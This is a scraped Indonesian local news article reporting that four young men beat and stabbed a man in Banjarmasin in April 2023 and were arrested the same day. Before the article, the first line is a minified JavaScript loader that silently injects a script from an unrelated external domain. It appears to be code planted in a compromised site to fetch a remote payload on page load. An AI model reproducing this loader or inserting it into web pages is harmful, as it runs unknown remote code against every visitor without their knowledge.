(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sejumlah pemuda dibawah pengaruh minuman beralkohol di Banjarmasin melakukan pengeroyokan dan penusukan, Minggu (16/4/2023) dini hari.
Kejadian terjadi sekitar pukul 02.00 Wita, di kawasan Jalan Cempaka Putih depan Puskesmas Cempaka Putih Kelurahan Kuripan, Kecamatan Banjarmasin Timur, Kota Banjarmasin.
Kapolsek Banjarmasin Timur Kompol M Taufiq Qurahman melalui Kanit Reskrim Ipda Partogi Hutahaean mengungkapkan, peristiwa pengeroyokan dan penusukan dialami oleh Serdi Setiadi (42) warga Berangas, Kecamatan Alalak, Kabupaten Barito Kuala.
“Kejadian bermula saat korban bertemu dengan salah satu teman lamanya di jalan, kemudian korban diajak temannya nongkrong di depan Puskesmas Cempaka Putih sekitar pukul 02.00 Wita,” ungkap Kapolsek Banjarmasin Timur melalui Kanit Reskrim, Ipda Partogi Hutahaean, Minggu (16/4/2023) siang.
Baca juga: Jual Beras Paket Khusus Zakat Fitrah, Ini Harganya di Pasar Central Amuntai
Rupanya, di tempat tongkrongan itu sudah ada para pelaku. Awalnya teman Serdi mengajaknya untuk minum alkohol bersama pelaku.
Alih-alih bergembira, pengaruh minuman keras itu malah membuat cekcok antara korban dengan salah satu di antara empat pelaku.
Semakin terbawa emosi, satu pelaku bernama HF (29) lantas memukul kepala korban sembari berkata “Siapakah kawan ikam, kada peduli aku”.
“Korban kemudian berusaha lari, namun usahanya terhenti setelah pelaku lain menangkapnya dan memukulinya bersama-sama,” sambungnya.
Atas kejadian itu, dari hasil pemeriksaan dokter, Serdi menerima luka tusuk yang fatal di bagian paru-paru.
“Saat itu pelaku MAW mengeluarkan sebilah senjata tajam dan menusuk tubuh korban, tiga mendarat di bagian punggung dan satu di bagian tangan. Fatalnya, menurut dokter satu tusukan mengenai paru-paru korban,” jelasnya.
Kejadian itu pun dilaporkan ke Polsek Banjarmasin Timur. Hingga akhirnya kurang dari delapan jam, empat pelaku berhasil diringkus polisi.
Adapun antara lain, HF (29), MAW (19), R (20) dan RH (21), semuanya merupakan warga Kecamatan Banjarmasin Timur.
“Anggota Opsnal dan piket Unit 1 Reskrim Polsek Banjarmasin Timur yang dipimpin Kanit Reskrim, berhasil menangkap empat pelaku hanya 8 jam usai kejadian,” ujar Ipda Partogi.
Baca juga: Dukung Kelistrikan Ibu Kota Nusantara, PLN Siap Bangun SUTT 150kV Kariangau-GIS 4 IKN
Ipda Partogi menjelaskan jika empat pelaku berhasil ditangkap di dua lokasi berbeda. Yakni R dan HF yang merupakan dua bersaudara itu berhasil diamankan di kawasan Gang Baru, Jalan Veteran.
Kemudian petugas melakukan pengembangan dan kembali menangkap pelaku MAW dan RH di kawasan Pasar Hanyar, Kecamatan Banjarmasin Tengah.
Dari tangan pelaku petugas turut mengamankan sebuah senjata tajam jenis pisau yang diduga digunakan pelaku untuk menusuk korban.
Para pelaku kini dijerat ancaman hukuman pidana 9 tahun penjara seperti yang tertuang dalam Pasal 170 ayat (2) KUHP tentang pengeroyokan yang mengakibatkan luka berat. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More
This website uses cookies.